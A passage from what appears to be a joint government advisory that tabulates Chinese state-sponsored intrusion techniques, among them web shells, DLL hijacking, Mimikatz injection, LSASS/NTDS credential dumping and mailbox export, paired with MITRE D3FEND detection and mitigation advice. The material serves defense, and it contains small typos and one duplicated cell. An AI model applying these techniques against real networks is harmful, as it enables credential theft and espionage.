[[D3-FCR](<https://d3fend.mitre.org/technique/d3f:FileContentRules>)]\n * Identifier Analysis \n * Homoglyph Detection [[D3-HD](<https://d3fend.mitre.org/technique/d3f:HomoglyphDetection>)]\n * URL Analysis [[D3-UA](<https://d3fend.mitre.org/technique/d3f:URLAnalysis>)]\n * Network Traffic Analysis \n * DNS Traffic Analysis [[D3-DNSTA](<https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis>)]\n\nIsolate: \n\n * Execution Isolation \n * Hardware-based Process Isolation [[D3-HBPI](<https://d3fend.mitre.org/technique/d3f:Hardware-basedProcessIsolation>)]\n * Executable Allowlisting [[D3-EAL](<https://d3fend.mitre.org/technique/d3f:ExecutableAllowlisting>)]\n * Network Isolation \n * DNS Denylisting [[D3-DNSDL](<https://d3fend.mitre.org/technique/d3f:DNSDenylisting>)]\n * Outbound Traffic Filtering [[D3-OTF](<https://d3fend.mitre.org/technique/d3f:OutboundTrafficFiltering>)] \n \n### Tactics: _Persistence_ [[TA0003](<https://attack.mitre.org/versions/v9/tactics/TA0003>)]\n\n_Table V: Chinese state-sponsored cyber actors\u2019 Persistence TTPs with detection and mitigation recommendations_\n\nThreat Actor Technique / \nSub-Techniques | Threat Actor Procedure(s) | Detection and Mitigation Recommendations | Defensive Tactics and Techniques \n---|---|---|--- \n \nHijack Execution Flow [[T1574](<https://attack.mitre.org/versions/v9/techniques/T1574>)]: \n\n * DLL Search Order Hijacking [[T1574.001](<https://attack.mitre.org/versions/v9/techniques/T1574/001>)]\n| \n\nChinese state-sponsored cyber actors have been observed using benign executables which used Dynamic Link Library (DLL) load-order hijacking to activate the malware installation process. \n\n**Note:** this technique also applies to Privilege Escalation [[TA0004](<https://attack.mitre.org/versions/v9/tactics/TA0004>)] and Defense Evasion [[TA0005](<https://attack.mitre.org/versions/v9/tactics/TA0005>)].\n\n| \n\n * Disallow loading of remote DLLs.\n * Enable safe DLL search mode.\n * Implement tools for detecting search order hijacking opportunities.\n * Use application allowlisting to block unknown DLLs.\n * Monitor the file system for created, moved, and renamed DLLs.\n * Monitor for changes in system DLLs not associated with updates or patches.\n * Monitor DLLs loaded by processes (e.g., legitimate name, but abnormal path).\n| \n\nDetect: \n\n * Platform Monitoring \n * Operating System Monitoring \n * Service Binary Verification [[D3-SBV](<https://d3fend.mitre.org/technique/d3f:ServiceBinaryVerification>)]\n * Process Analysis \n * File Access Pattern Analysis [[D3-FAPA](<https://d3fend.mitre.org/technique/d3f:FileAccessPatternAnalysis>)]\n\nIsolate: \n\n * Execution Isolation \n * Executable Allowlisting [[D3-EAL](<https://d3fend.mitre.org/technique/d3f:ExecutableAllowlisting>)] \n \nModify Authentication Process [[T1556](<https://attack.mitre.org/versions/v9/techniques/T1556>)]\n\n * Domain Controller Authentication [[T1556.001](<https://attack.mitre.org/versions/v9/techniques/T1556/001>)]\n| \n\nChinese state-sponsored cyber actors were observed creating a new sign-in policy to bypass MFA requirements to maintain access to the victim network. \nNote: this technique also applies to Defense Evasion [[TA0005](<https://attack.mitre.org/versions/v9/tactics/TA0005>)] and Credential Access [[TA0006](<https://attack.mitre.org/versions/v9/tactics/TA0006>)].\n\n| \n\n * Monitor for policy changes to authentication mechanisms used by the domain controller. \n * Monitor for modifications to functions exported from authentication DLLs (such as `cryptdll.dll` and `samsrv.dll`).\n * Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. \n * Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts (for example, one account logged into multiple systems simultaneously, multiple accounts logged into the same machine simultaneously, accounts logged in at odd times or outside of business hours). \n * Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n * Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for and correlate changes to Registry entries.\n| \n\nDetect: \n\n * Process Analysis [[D3-PA](<https://d3fend.mitre.org/technique/d3f:ProcessAnalysis>)]\n * User Behavior Analysis \n * Authentication Event Thresholding [[D3-ANET](<https://d3fend.mitre.org/technique/d3f:AuthenticationEventThresholding>)]\n * User Geolocation Logon Pattern Analysis [[D3-UGLPA](<https://d3fend.mitre.org/technique/d3f:UserGeolocationLogonPatternAnalysis>)] \n \nServer Software Component [[T1505](<https://attack.mitre.org/versions/v9/techniques/T1505>)]: \n\n * Web Shell [[T1505.003](<https://attack.mitre.org/versions/v9/techniques/T1505/003>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed planting web shells on exploited servers and using them to provide the cyber actors with access to the victim networks. \n\n| \n\n * Use Intrusion Detection Systems (IDS) to monitor for and identify China Chopper traffic using IDS signatures.\n * Monitor and search for predictable China Chopper shell syntax to identify infected files on hosts.\n * Perform integrity checks on critical servers to identify and investigate unexpected changes.\n * Have application developers sign their code using digital signatures to verify their identity.\n * Identify and remediate web application vulnerabilities or configuration weaknesses. Employ regular updates to applications and host operating systems.\n * Implement a least-privilege policy on web servers to reduce adversaries\u2019 ability to escalate privileges or pivot laterally to other hosts and control creation and execution of files in particular directories.\n * If not already present, consider deploying a DMZ between web-facing systems and the corporate network. Limiting the interaction and logging traffic between the two provides a method to identify possible malicious activity.\n * Ensure secure configuration of web servers. All unnecessary services and ports should be disabled or blocked. Access to necessary services and ports should be restricted, where feasible. This can include allowlisting or blocking external access to administration panels and not using default login credentials.\n * Use a reverse proxy or alternative service, such as mod_security, to restrict accessible URL paths to known legitimate ones.\n * Establish, and backup offline, a \u201cknown good\u201d version of the relevant server and a regular change management policy to enable monitoring for changes to servable content with a file integrity system.\n * Employ user input validation to restrict exploitation of vulnerabilities.\n * Conduct regular system and application vulnerability scans to establish areas of risk. While this method does not protect against zero-day exploits, it will highlight possible areas of concern.\n * Deploy a web application firewall and conduct regular virus signature checks, application fuzzing, code reviews, and server network analysis.\n| \n\nDetect: \n\n * Network Traffic Analysis \n * Client-server Payload Profiling [[D3-CSPP](<https://d3fend.mitre.org/technique/d3f:Client-serverPayloadProfiling>)]\n * Per Host Download-Upload Ratio Analysis [[D3-PHDURA](<https://d3fend.mitre.org/technique/d3f:PerHostDownload-UploadRatioAnalysis>)]\n * Process Analysis \n * Process Spawn Analysis \n * Process Lineage Analysis [[D3-PLA](<https://d3fend.mitre.org/technique/d3f:ProcessLineageAnalysis>)]\n\nIsolate:\n\n * Network Isolation \n * Inbound Traffic Filtering [[D3-ITF](<https://d3fend.mitre.org/technique/d3f:InboundTrafficFiltering>)] \n \nCreate or Modify System Process [[T1543](<https://attack.mitre.org/versions/v9/techniques/T1543>)]:\n\n * Windows Service [[T1543.003](<https://attack.mitre.org/versions/v9/techniques/T1543/003>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed executing malware shellcode and batch files to establish new services to enable persistence.\n\n**Note: **this technique also applies to Privilege Escalation [[TA0004](<https://attack.mitre.org/versions/v9/tactics/TA0004>)].\n\n| \n\n * Only allow authorized administrators to make service changes and modify service configurations. \n * Monitor processes and command-line arguments for actions that could create or modify services, especially if such modifications are unusual in your environment.\n * Monitor WMI and PowerShell for service modifications.\n| Detect: \n\n * Process Analysis \n * Process Spawn Analysis [[D3-PSA](<https://d3fend.mitre.org/technique/d3f:ProcessSpawnAnalysis>)] \n \n### Tactics: _Privilege Escalation_ [[TA0004](<https://attack.mitre.org/versions/v9/tactics/TA0004>)]\n\n_Table VI: Chinese state-sponsored cyber actors\u2019 Privilege Escalation TTPs with detection and mitigation recommendations_\n\nThreat Actor Technique / \nSub-Techniques | Threat Actor Procedure(s) | Detection and Mitigation Recommendations | Defensive Tactics and Techniques \n---|---|---|--- \n \nDomain Policy Modification [[T1484](<https://attack.mitre.org/versions/v9/techniques/T1484>)]\n\n * Group Policy Modification [[T1484.001](<https://attack.mitre.org/versions/v9/techniques/T1484/001>)]\n\n| \n\nChinese state-sponsored cyber actors have also been observed modifying group policies for password exploitation.\n\n**Note:** this technique also applies to Defense Evasion [[TA0005](<https://attack.mitre.org/versions/v9/tactics/TA0005>)].\n\n| \n\n * Identify and correct Group Policy Object (GPO) permissions abuse opportunities (e.g., GPO modification privileges) using auditing tools.\n * Monitor directory service changes using Windows event logs to detect GPO modifications. Several events may be logged for such GPO modifications.\n * Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.\n| \n\nDetect:\n\n * Network Traffic Analysis \n * Administrative Network Activity Analysis [[D3-ANAA](<https://d3fend.mitre.org/technique/d3f:AdministrativeNetworkActivityAnalysis>)]\n * Platform Monitoring \n * Operating System Monitoring \n * System File Analysis [[D3-SFA](<https://d3fend.mitre.org/technique/d3f:SystemFileAnalysis>)] \n \nProcess Injection [[T1055](<https://attack.mitre.org/versions/v9/techniques/T1055>)]: \n\n * Dynamic Link Library Injection [[T1055.001](<https://attack.mitre.org/versions/v9/techniques/T1055/001>)]\n * Portable Executable Injection [[T1055.002](<https://attack.mitre.org/versions/v9/techniques/T1055/002>)]\n| \n\nChinese state-sponsored cyber actors have been observed:\n\n * Injecting into the `rundll32.exe` process to hide usage of Mimikatz, as well as injecting into a running legitimate `explorer.exe` process for lateral movement.\n * Using shellcode that injects implants into newly created instances of the Service Host process (`svchost`)\n\n**Note:** this technique also applies to Defense Evasion [[TA0005](<https://attack.mitre.org/versions/v9/tactics/TA0005>)]. \n\n\n| \n\n * Use endpoint protection software to block process injection based on behavior of the injection process.\n * Monitor DLL/Portable Executable (PE) file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.\n * Monitor for suspicious sequences of Windows API calls such as `CreateRemoteThread`, `VirtualAllocEx`, or `WriteProcessMemory` and analyze processes for unexpected or atypical behavior such as opening network connections or reading files.\n * To minimize the probable impact of a threat actor using Mimikatz, always limit administrative privileges to only users who actually need it; upgrade Windows to at least version 8.1 or 10; run Local Security Authority Subsystem Service (LSASS) in protected mode on Windows 8.1 and higher; harden the local security authority (LSA) to prevent code injection.\n| \n\n * Execution Isolation \n * Hardware-based Process Isolation [[D3-HBPI](<https://d3fend.mitre.org/technique/d3f:Hardware-basedProcessIsolation>)]\n * Mandatory Access Control [[D3-MAC](<https://d3fend.mitre.org/technique/d3f:MandatoryAccessControl>)] \n \n### Tactics: _Defense Evasion _[[TA0005](<https://attack.mitre.org/versions/v9/tactics/TA0005>)]\n\n_Table VII: Chinese state-sponsored cyber actors\u2019 Defensive Evasion TTPs with detection and mitigation recommendations_\n\nThreat Actor Technique / \nSub-Techniques | Threat Actor Procedure(s) | Detection and Mitigation Recommendations | Defensive Tactics and Techniques \n---|---|---|--- \n \nDeobfuscate/Decode Files or Information [[T1140](<https://attack.mitre.org/versions/v9/techniques/T1140>)]\n\n| \n\nChinese state-sponsored cyber actors were observed using the 7-Zip utility to unzip imported tools and malware files onto the victim device.\n\n| \n\n * Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.\n * Consider blocking, disabling, or monitoring use of 7-Zip.\n| \n\nDetect: \n\n * Process Analysis \n * Process Spawn Analysis [[D3-PSA](<https://d3fend.mitre.org/technique/d3f:ProcessSpawnAnalysis>)]\n\nIsolate: \n\n * Execution Isolation \n * Executable Denylisting [[D3-EDL](<https://d3fend.mitre.org/technique/d3f:ExecutableDenylisting>)] \n \nHide Artifacts [[T1564](<https://attack.mitre.org/versions/v9/techniques/T1564>)]\n\n| \n\nChinese state-sponsored cyber actors were observed using benign executables which used DLL load-order hijacking to activate the malware installation process.\n\n| \n\n * Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts, such as executables using DLL load-order hijacking that can activate malware.\n * Monitor event and authentication logs for records of hidden artifacts being used.\n * Monitor the file system and shell commands for hidden attribute usage.\n| \n\nDetect: \n\n * Process Analysis \n * File Access Pattern Analysis [[D3-FAPA](<https://d3fend.mitre.org/technique/d3f:FileAccessPatternAnalysis>)] \n\nIsolate:\n\n * Execution Isolation \n * Executable Allowlisting [[D3-EAL](<https://d3fend.mitre.org/technique/d3f:ExecutableAllowlisting>)] \n \nIndicator Removal from Host [[T1070](<https://attack.mitre.org/versions/v9/techniques/T1070>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed deleting files using `rm` or `del` commands. \nSeveral files that the cyber actors target would be timestomped, in order to show different times compared to when those files were created/used.\n\n| \n\n * Make the environment variables associated with command history read only to ensure that the history is preserved.\n * Recognize timestomping by monitoring the contents of important directories and the attributes of the files. \n * Prevent users from deleting or writing to certain files to stop adversaries from maliciously altering their `~/.bash_history` or `ConsoleHost_history.txt` files.\n * Monitor for command-line deletion functions to correlate with binaries or other files that an adversary may create and later remove. Monitor for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce.\n * Monitor and record file access requests and file handles. An original file handle can be correlated to a compromise and inconsistencies between file timestamps and previous handles opened to them can be a detection rule.\n| \n\nDetect: \n\n * Platform Monitoring \n * Operating System Monitoring \n * System File Analysis [[D3-SFA](<https://d3fend.mitre.org/technique/d3f:SystemFileAnalysis>)]\n * Process Analysis \n * File Access Pattern Analysis [[D3-FAPA](<https://d3fend.mitre.org/technique/d3f:FileAccessPatternAnalysis>)] \n\nIsolate:\n\n * Execution Isolation \n * Executable Allowlisting [[D3-EAL](<https://d3fend.mitre.org/technique/d3f:ExecutableAllowlisting>)] \n \nObfuscated Files or Information [[T1027](<https://attack.mitre.org/versions/v9/techniques/T1027>)]\n\n| \n\nChinese state-sponsored cyber actors were observed Base64 encoding files and command strings to evade security measures.\n\n| \n\nConsider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 to analyze commands after being processed/interpreted.\n\n| \n\nDetect:\n\n * Process Analysis \n * File Access Pattern Analysis [[D3-FAPA](<https://d3fend.mitre.org/technique/d3f:FileAccessPatternAnalysis>)] \n \nSigned Binary Proxy Execution [[T1218](<https://attack.mitre.org/versions/v9/techniques/T1218>)]\n\n * `Mshta` [[T1218.005](<https://attack.mitre.org/versions/v9/techniques/T1218/005>)]\n\n * `Rundll32` [[T1218.011](<https://attack.mitre.org/versions/v9/techniques/T1218/011>)]\n\n| \n\nChinese state-sponsored cyber actors were observed using Microsoft signed binaries, such as `Rundll32`, as a proxy to execute malicious payloads.\n\n| \n\nMonitor processes for the execution of known proxy binaries (e.g., r`undll32.exe`) and look for anomalous activity that does not follow historically good arguments and loaded DLLs associated with the invocation of the binary.\n\n| \n\nDetect:\n\n * Process Analysis\n\n * File Access Pattern Analysis [[D3-FAPA](<https://d3fend.mitre.org/technique/d3f:FileAccessPatternAnalysis>)]\n\n * Process Spawn Analysis [[D3-PSA](<https://d3fend.mitre.org/technique/d3f:ProcessSpawnAnalysis>)] \n \n### Tactics: _Credential Access_ [[TA0006](<https://attack.mitre.org/versions/v9/tactics/TA0006>)]\n\n_Table VIII: Chinese state-sponsored cyber actors\u2019 Credential Access TTPs with detection and mitigation recommendations_\n\nThreat Actor Technique / \nSub-Techniques | Threat Actor Procedure(s) | Detection and Mitigation Recommendations | Defensive Tactics and Techniques \n---|---|---|--- \n \nExploitation for Credential Access [[T1212](<https://attack.mitre.org/versions/v9/techniques/T1212>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed exploiting Pulse Secure VPN appliances to view and extract valid user credentials and network information from the servers.\n\n| \n\n * Update and patch software regularly.\n\n * Use cyber threat intelligence and open-source reporting to determine vulnerabilities that threat actors may be actively targeting and exploiting; patch those vulnerabilities immediately.\n\n| \n\nHarden: \n\n * Platform Hardening\n\n * Software Update [[D3-SU](<https://d3fend.mitre.org/technique/d3f:SoftwareUpdate>)]\n\n * Credential Hardening\n\n * Multi-factor Authentication [[D3-MFA](<https://d3fend.mitre.org/technique/d3f:Multi-factorAuthentication>)] \n \nOS Credential Dumping [[T1003](<https://attack.mitre.org/versions/v9/techniques/T1003>)] \n\u2022 LSASS Memory [[T1003.001](<https://attack.mitre.org/versions/v9/techniques/T1003/001>)] \n\u2022 NTDS [[T1003.003](<https://attack.mitre.org/versions/v9/techniques/T1003/003>)]\n\n| \n\nChinese state-sponsored cyber actors were observed targeting the LSASS process or Active directory (`NDST.DIT)` for credential dumping.\n\n| \n\n * Monitor process and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the `NDST.DIT`.\n\n * Ensure that local administrator accounts have complex, unique passwords across all systems on the network.\n\n * Limit credential overlap across accounts and systems by training users and administrators not to use the same passwords for multiple accounts.\n\n * Consider disabling or restricting NTLM. \n\n * Consider disabling `WDigest` authentication. \n\n * Ensure that domain controllers are backed up and properly secured (e.g., encrypt backups).\n\n * Implement Credential Guard to protect the LSA secrets from credential dumping on Windows 10. This is not configured by default and requires hardware and firmware system requirements. \n\n * Enable Protected Process Light for LSA on Windows 8.1 and Windows Server 2012 R2.\n\n| \n\nHarden:\n\n * Credential Hardening [[D3-CH](<https://d3fend.mitre.org/technique/d3f:CredentialHardening>)]\n\nDetect: \n\n * Process Analysis\n\n * File Access Pattern Analysis [[D3-FAPA](<https://d3fend.mitre.org/technique/d3f:FileAccessPatternAnalysis>)]\n\n * System Call Analysis [[D3-SCA](<https://d3fend.mitre.org/technique/d3f:SystemCallAnalysis>)]\n\nIsolate: \n\n * Execution Isolation\n\n * Hardware-based Process Isolation [[D3-HBPI](<https://d3fend.mitre.org/technique/d3f:Hardware-basedProcessIsolation>)]\n\n * Mandatory Access Control [[D3-MAC](<https://d3fend.mitre.org/technique/d3f:MandatoryAccessControl>)] \n \n### Tactics: _Discovery_ [[TA0007](<https://attack.mitre.org/versions/v9/tactics/TA0007>)]\n\n_Table IX: Chinese state-sponsored cyber actors\u2019 Discovery TTPs with detection and mitigation recommendations_\n\nThreat Actor Technique / \nSub-Techniques | Threat Actor Procedure(s) | Detection and Mitigation Recommendations | Defensive Tactics and Techniques \n---|---|---|--- \n \nFile and Directory Discovery [[T1083](<https://attack.mitre.org/versions/v9/techniques/T1083>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed using multiple implants with file system enumeration and traversal capabilities.\n\n| \n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. WMI and PowerShell should also be monitored.\n\n| \n\nDetect: \n\n * User Behavior Analysis\n\n * Job Function Access Pattern Analysis [[D3-JFAPA](<https://d3fend.mitre.org/technique/d3f:JobFunctionAccessPatternAnalysis>)]\n\n * Process Analysis \n\n * Database Query String Analysis [[D3-DQSA](<https://d3fend.mitre.org/technique/d3f:DatabaseQueryStringAnalysis>)]\n\n * File Access Pattern Analysis [[D3-FAPA](<https://d3fend.mitre.org/technique/d3f:FileAccessPatternAnalysis>)]\n\n * Process Spawn Analysis [[D3-PSA](<https://d3fend.mitre.org/technique/d3f:ProcessSpawnAnalysis>)] \n \nPermission Group Discovery [[T1069](<https://attack.mitre.org/versions/v9/techniques/T1069>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed using commands, including `net group` and `net localgroup`, to enumerate the different user groups on the target network. \n\n| \n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\n| \n\nDetect: \n\n * Process Analysis \n\n * Process Spawn Analysis [[D3-PSA](<https://d3fend.mitre.org/technique/d3f:ProcessSpawnAnalysis>)]\n\n * System Call Analysis [[D3-SCA](<https://d3fend.mitre.org/technique/d3f:SystemCallAnalysis>)]\n\n * User Behavior Analysis [[D3-UBA](<https://d3fend.mitre.org/technique/d3f:UserBehaviorAnalysis>)] \n \nProcess Discovery [[T1057](<https://attack.mitre.org/versions/v9/techniques/T1057>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed using commands, including `tasklist`, `jobs`, `ps`, or `taskmgr`, to reveal the running processes on victim devices.\n\n| \n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. \n\n| \n\nDetect: \n\n * Process Analysis \n\n * Process Spawn Analysis [[D3-PSA](<https://d3fend.mitre.org/technique/d3f:ProcessSpawnAnalysis>)]\n\n * System Call Analysis [[D3-SCA](<https://d3fend.mitre.org/technique/d3f:SystemCallAnalysis>)]\n\n * User Behavior Analysis [[D3-UBA](<https://d3fend.mitre.org/technique/d3f:UserBehaviorAnalysis>)] \n \nNetwork Service Scanning [[T1046](<https://attack.mitre.org/versions/v9/techniques/T1046>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed using `Nbtscan` and `nmap` to scan and enumerate target network information.\n\n| \n\n\u2022 Ensure that unnecessary ports and services are closed to prevent discovery and potential exploitation. \n\u2022 Use network intrusion detection and prevention systems to detect and prevent remote service scans such as `Nbtscan` or `nmap`. \n\u2022 Ensure proper network segmentation is followed to protect critical servers and devices to help mitigate potential exploitation.\n\n| \n\nDetect: \n\n * Network Traffic Analysis\n\n * Connection Attempt Analysis [[D3-CAA](<https://d3fend.mitre.org/technique/d3f:ConnectionAttemptAnalysis>)]\n\nIsolate:\n\n * Network Isolation\n\n * Inbound Traffic Filtering [[D3-ITF](<https://d3fend.mitre.org/technique/d3f:InboundTrafficFiltering>)] \n \nRemote System Discovery [[T1018](<https://attack.mitre.org/versions/v9/techniques/T1018>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed using Base-64 encoded commands, including `ping`, `net group`, and `net user` to enumerate target network information.\n\n| \n\nMonitor for processes that can be used to discover remote systems, such as `ping.exe` and `tracert.exe`, especially when executed in quick succession.\n\n| \n\nDetect: \n\n * Process Analysis \n\n * Process Spawn Analysis [[D3-PSA](<https://d3fend.mitre.org/technique/d3f:ProcessSpawnAnalysis>)]\n\n * User Behavior Analysis\n\n * Job Function Access Pattern Analysis [[D3-JFAPA](<https://d3fend.mitre.org/technique/d3f:JobFunctionAccessPatternAnalysis>)] \n \n### Tactics: _Lateral Movement_ [[TA0008](<https://attack.mitre.org/versions/v9/tactics/TA0008>)]\n\n_Table X: Chinese state-sponsored cyber actors\u2019 Lateral Movement TTPs with detection and mitigation recommendations_\n\nThreat Actor Technique / \nSub-Techniques | Threat Actor Procedure(s) | Detection and Mitigation Recommendations | Defensive Tactics and Techniques \n---|---|---|--- \n \nExploitation of Remote Services [[T1210](<https://attack.mitre.org/versions/v9/techniques/T1210>)]\n\n| \n\nChinese state-sponsored cyber actors used valid accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, RDP, and Virtual Network Computing (VNC). The actor may then perform actions as the logged-on user.\n\nChinese state-sponsored cyber actors also used on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments in order to pivot to cloud resources.\n\n| \n\nChinese state-sponsored cyber actors used valid accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, RDP, and Virtual Network Computing (VNC). The actor may then perform actions as the logged-on user.\n\nChinese state-sponsored cyber actors also used on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments in order to pivot to cloud resources.\n\n * Disable or remove unnecessary services.\n\n * Minimize permissions and access for service accounts.\n\n * Perform vulnerability scanning and update software regularly.\n\n * Use threat intelligence and open-source exploitation databases to determine services that are targets for exploitation.\n\n| \n\nDetect: \n\n * Network Traffic Analysis\n\n * Remote Terminal Session Detection [[D3-RTSD](<https://d3fend.mitre.org/technique/d3f:RemoteTerminalSessionDetection>)] \n\n * User Behavior Analysis [[D3-UBA](<https://d3fend.mitre.org/technique/d3f:UserBehaviorAnalysis>)]\n\nIsolate:\n\n * Execution Isolation\n\n * Mandatory Access Control [[D3-MAC](<https://d3fend.mitre.org/technique/d3f:MandatoryAccessControl>)] \n \n### Tactics: _Collection_ [[TA0009](<https://attack.mitre.org/versions/v9/tactics/TA0009>)]\n\n_Table XI: Chinese state-sponsored cyber actors\u2019 Collection TTPs with detection and mitigation recommendations_\n\nThreat Actor Technique / \nSub-Techniques | Threat Actor Procedure(s) | Detection and Mitigation Recommendations | Defensive Tactics and Techniques \n---|---|---|--- \n \nArchive Collected Data [[T1560](<https://attack.mitre.org/versions/v9/techniques/T1560>)]\n\n| \n\nChinese state-sponsored cyber actors used compression and encryption of exfiltration files into RAR archives, and subsequently utilizing cloud storage services for storage.\n\n| \n\n * Scan systems to identify unauthorized archival utilities or methods unusual for the environment.\n\n * Monitor command-line arguments for known archival utilities that are not common in the organization's environment.\n\n| \n\nDetect: \n\n * Process Analysis \n\n * File Access Pattern Analysis [[D3-FAPA](<https://d3fend.mitre.org/technique/d3f:FileAccessPatternAnalysis>)]\n\n * Process Spawn Analysis [[D3-PSA](<https://d3fend.mitre.org/technique/d3f:ProcessSpawnAnalysis>)]\n\nIsolate:\n\n * Execution Isolation\n\n * Executable Denylisting [[D3-EDL](<https://d3fend.mitre.org/technique/d3f:ExecutableDenylisting>)] \n \nClipboard Data [[T1115](<https://attack.mitre.org/versions/v9/techniques/T1115>)]\n\n| \n\nChinese state-sponsored cyber actors used RDP and execute `rdpclip.exe` to exfiltrate information from the clipboard.\n\n| \n\n * Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity (e.g. excessive use of `pbcopy/pbpaste` (Linux) or `clip.exe` (Windows) run by general users through command line).\n\n * If possible, disable use of RDP and other file sharing protocols to minimize a malicious actor's ability to exfiltrate data.\n\n| \n\nDetect:\n\n * Network Traffic Analysis\n\n * Remote Terminal Session Detection [[D3-RTSD](<https://d3fend.mitre.org/technique/d3f:RemoteTerminalSessionDetection>)]\n\nIsolate:\n\n * Network Isolation\n\n * Inbound Traffic Filtering [[D3-ITF](<https://d3fend.mitre.org/technique/d3f:InboundTrafficFiltering>)]\n\n * Outbound Traffic Filtering [[D3-OTF](<https://d3fend.mitre.org/technique/d3f:OutboundTrafficFiltering>)] \n \nData Staged [[T1074](<https://attack.mitre.org/versions/v9/techniques/T1074>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed using the `mv` command to export files into a location, like a compromised Microsoft Exchange, IIS, or emplaced webshell prior to compressing and exfiltrating the data from the target network.\n\n| \n\nProcesses that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as using 7-Zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\n| \n\nDetect: \n\n * Process Analysis\n\n * File Access Pattern Analysis [[D3-FAPA](<https://d3fend.mitre.org/technique/d3f:FileAccessPatternAnalysis>)] \n \nEmail Collection [[T1114](<https://attack.mitre.org/versions/v9/techniques/T1114>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed using the `New-MailboxExportReques`t PowerShell cmdlet to export target email boxes.\n\n| \n\n * Audit email auto-forwarding rules for suspicious or unrecognized rulesets.\n\n * Encrypt email using public key cryptography, where feasible.\n\n * Use MFA on public-facing mail servers.\n\n| \n\nHarden:\n\n * Credential Hardening\n\n * Multi-factor Authentication [[D3-MFA](<https://d3fend.mitre.org/technique/d3f:Multi-factorAuthentication>)]\n\n * Message Hardening\n\n * Message Encryption [[D3-MENCR](<https://d3fend.mitre.org/technique/d3f:MessageEncryption>)]\n\nDetect: \n\n * Process Analysis [[D3-PA](<https://d3fend.mitre.org/technique/d3f:ProcessAnalysis>)] \n \n### Tactics: _Command and Control _[[TA0011](<https://attack.mitre.org/versions/v9/tactics/TA0011>)]\n\n_Table XII: Chinese state-sponsored cyber actors\u2019 Command and Control TTPs with detection and mitigation recommendations_\n\nThreat Actor Technique / \nSub-Techniques \n| Threat Actor Procedure(s) | Detection and Mitigation Recommendations | Defensive Tactics and Techniques \n---|---|---|--- \n \nApplication Layer Protocol [[T1071](<https://attack.mitre.org/versions/v9/techniques/T1071>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed:\n\n * Using commercial cloud storage services for command and control.\n\n * Using malware implants that use the Dropbox\u00ae API for C2 and a downloader that downloads and executes a payload using the Microsoft OneDrive\u00ae API.\n\n| \n\nUse network intrusion detection and prevention systems with network signatures to identify traffic for specific adversary malware.\n\n| \n\nDetect: \n\n * Network Traffic Analysis\n\n * Client-server Payload Profiling [[D3-CSPP](<https://d3fend.mitre.org/technique/d3f:Client-serverPayloadProfiling>)]\n\n * File Carving [[D3-FC](<https://d3fend.mitre.org/technique/d3f:FileCarving>)]\n\nIsolate: \n\n * Network Isolation\n\n * DNS Denylisting [[D3-DNSDL](<https://d3fend.mitre.org/technique/d3f:DNSDenylisting>)] \n \nIngress Tool Transfer [[T1105](<https://attack.mitre.org/versions/v9/techniques/T1105>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed importing tools from GitHub or infected domains to victim networks. In some instances. Chinese state-sponsored cyber actors used the Server Message Block (SMB) protocol to import tools into victim networks.\n\n| \n\n * Perform ingress traffic analysis to identify transmissions that are outside of normal network behavior. \n\n * Do not expose services and protocols (such as File Transfer Protocol [FTP]) to the Internet without strong business justification.\n\n * Use signature-based network intrusion detection and prevention systems to identify adversary malware coming into the network.\n\n| \n\nIsolate:\n\n * Network Isolation\n\n * Inbound Traffic Filtering [[D3-ITF](<https://d3fend.mitre.org/technique/d3f:InboundTrafficFiltering>)] \n \nNon-Standard Port [[T1571](<https://attack.mitre.org/versions/v9/techniques/T1571>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed using a non-standard SSH port to establish covert communication channels with VPS infrastructure. \n\n| \n\n * Use signature-based network intrusion detection and prevention systems to identify adversary malware calling back to C2.\n\n * Configure firewalls to limit outgoing traffic to only required ports based on the functions of that network segment.\n\n * Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port.\n\n| \n\nDetect: \n\n * Network Traffic Analysis\n\n * Client-server Payload Profiling [[D3-CSPP](<https://d3fend.mitre.org/technique/d3f:Client-serverPayloadProfiling>)]\n\n * Protocol Metadata Anomaly Detection 